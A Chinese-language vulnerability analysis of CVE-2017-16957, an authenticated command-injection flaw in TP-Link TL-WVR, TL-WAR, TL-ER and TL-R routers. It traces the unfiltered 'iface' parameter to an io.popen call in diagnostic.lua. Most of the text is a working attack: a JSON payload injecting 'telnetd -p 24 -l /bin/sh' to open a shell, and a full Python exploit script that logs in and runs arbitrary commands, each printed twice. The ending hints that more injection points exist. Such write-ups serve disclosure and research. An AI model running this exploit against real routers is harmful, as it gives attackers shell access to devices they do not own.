0x01 背景
TP-Link TL-WVR等都是中国普联(TP-LINK)公司的无线路由器产品。
多款TP-Link系列产品存在命令注入漏洞,攻击者在登录后可发送恶意字段,经拼接后导致任意命令执行。
该漏洞由coincoin7发现,漏洞编号CVE-2017-16957
0x02 受影响产品
TP-LINK TL-WVR系列
TP-LINK TL-WAR系列
TP-LINK TL-ER系列
TP-LINK TL-R系列
0x03 漏洞分析
根据原文提供的链接,下载了TL-WVR450L的固件,使用binwalk解包,拿到squashfs系统文件,再用squashfs-tools将文件提取出来。
下面是原作者提供的漏洞信息
受影响组件:uhttpd
漏洞文件:/usr/lib/lua/luci/controller/admin/diagnostic.lua
漏洞函数:zone_get_effect_devices(t)
89行将传递的参数没有经过任何检查过滤,直接拼接到cmd,通过io.popen进行命令执行。
找到当前文件调用zone_get_effect_devices的ping_action函数
这里将传递的http_form进行json解析,将json参数params.iface传入函数zone_get_effect_devices。
继续往上找到调用ping_action的start_action函数
继续往上找调用start_action
根据上面需要填写的信息,POST请求 [省略]/admin/diagnostic?form=diag,构造json编码的data数据
{
"method": "start",
"params": {
"type": "0",
"type_hidden": "0",
"ipaddr_ping": "baidu.com",
"iface_ping": "WAN1",
"ipaddr": "baidu.com",
"iface": ";telnetd -p 24 -l /bin/sh",
"count": "1",
"pktsize": "64",
"my_result": "The Router is ready.\r\n"
}
}
{
"method": "start",
"params": {
"type": "0",
"type_hidden": "0",
"ipaddr_ping": "baidu.com",
"iface_ping": "WAN1",
"ipaddr": "baidu.com",
"iface": ";telnetd -p 24 -l /bin/sh",
"count": "1",
"pktsize": "64",
"my_result": "The Router is ready.\r\n"
}
}
在Web认证登录后,发送构造好的恶意Payload,执行命令telnetd -p 24 -l /bin/sh,就会打开路由器的telnet功能。
漏洞利用脚本exp.py:
# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
import execjs
import requests
import json
import urllib
def read_js():
file = open("./RSA_Encryption_For_Tplink.js", 'r')
line = file.readline()
js = ''
while line:
js = js + line
line = file.readline()
file.close()
return js
def execute(ip, port, username, passwd, cmd):
try:
s = requests.session()
uri = "http://{}:{}".format(ip,port)
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip)
}
payload = {
"method":"get"
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
js = read_js()
js_handle = execjs.compile(js)
password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
payload = {
"method":"login",
"params":{
"username":"{}".format(username),
"password":"{}".format(password)
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
cookie = ret.headers['Set-Cookie']
print '[+] Login success'
print '[+] Get The Token: ' + stok
print '[+] Get The Cookie: ' + cookie
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer':'http://{}/webpages/login.html'.format(ip),
'Cookie':'{}'.format(cookie)
}
payload = {
"method":"start",
"params":{
"type":"0",
"type_hidden":"0",
"ipaddr_ping":"127.0.0.1",
"iface_ping":"WAN1",
"ipaddr":"127.0.0.1",
"iface":";{}".format(cmd),
"count":"1",
"pktsize":"64",
"my_result":"exploit"
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
#print ret.text
print '[+] Finish RCE'
print '--------------------------------------------------------------'
return True
except:
return False
if __name__=='__main__':
print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
import execjs
import requests
import json
import urllib
def read_js():
file = open("./RSA_Encryption_For_Tplink.js", 'r')
line = file.readline()
js = ''
while line:
js = js + line
line = file.readline()
file.close()
return js
def execute(ip, port, username, passwd, cmd):
try:
s = requests.session()
uri = "http://{}:{}".format(ip,port)
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip)
}
payload = {
"method":"get"
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
js = read_js()
js_handle = execjs.compile(js)
password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
payload = {
"method":"login",
"params":{
"username":"{}".format(username),
"password":"{}".format(password)
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
cookie = ret.headers['Set-Cookie']
print '[+] Login success'
print '[+] Get The Token: ' + stok
print '[+] Get The Cookie: ' + cookie
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer':'http://{}/webpages/login.html'.format(ip),
'Cookie':'{}'.format(cookie)
}
payload = {
"method":"start",
"params":{
"type":"0",
"type_hidden":"0",
"ipaddr_ping":"127.0.0.1",
"iface_ping":"WAN1",
"ipaddr":"127.0.0.1",
"iface":";{}".format(cmd),
"count":"1",
"pktsize":"64",
"my_result":"exploit"
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
#print ret.text
print '[+] Finish RCE'
print '--------------------------------------------------------------'
return True
except:
return False
if __name__=='__main__':
print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
exp需要下载RSA_Encryption_For_Tplink.js才能使用
0x04 参考链接
https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/TplinkDiagnosticAuthenticatedRCE.txt
0x05 后语
通过挖掘发现,存在命令注入的不止diagnostic.lua一处,全局搜索io.popen,你们懂的。感兴趣的同学可以去找下。
投稿者:Wfox